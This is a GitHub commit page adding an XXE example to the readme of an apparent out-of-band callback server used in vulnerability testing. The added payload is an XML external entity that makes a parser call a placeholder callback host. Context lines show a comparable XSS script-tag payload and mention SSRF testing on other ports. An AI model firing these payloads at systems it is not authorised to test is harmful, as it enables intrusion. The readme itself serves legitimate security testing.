Skip to content

Commit

Permalink
Add example for XXE
Browse files Browse the repository at this point in the history
  • Loading branch information
jobertabma committed Jun 12, 2017
1 parent 472a0f4 commit 6dafff9
Showing 1 changed file with 10 additions and 0 deletions.
10 changes: 10 additions & 0 deletions readme.md
Original file line number Diff line number Diff line change
Expand Up @@ -53,5 +53,15 @@ Depending on what type of vulnerability you want to test for, you have to constr
<script src="https://server/collect?callback_token=ee34a1791ab345f789"></script>
```

**XXE**
```
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://server/pixel?callback_token=ee34a1791ab345f789">
]>
<r>&sp;</r>
```

### Starting another server
The server listens on port `80`, `443`, `8080`, and `8443` by default. However, if you want to start another server on a different port, run `ruby app/server.rb -p :port`. To use SSL, append `-cert :cert.pem`. This is especially useful when a potential SSRF vulnerability only allows to connect on certain ports. Say bye to all the Apache and nginx configuration hacking!

0 comments on commit 6dafff9

Please sign in to comment.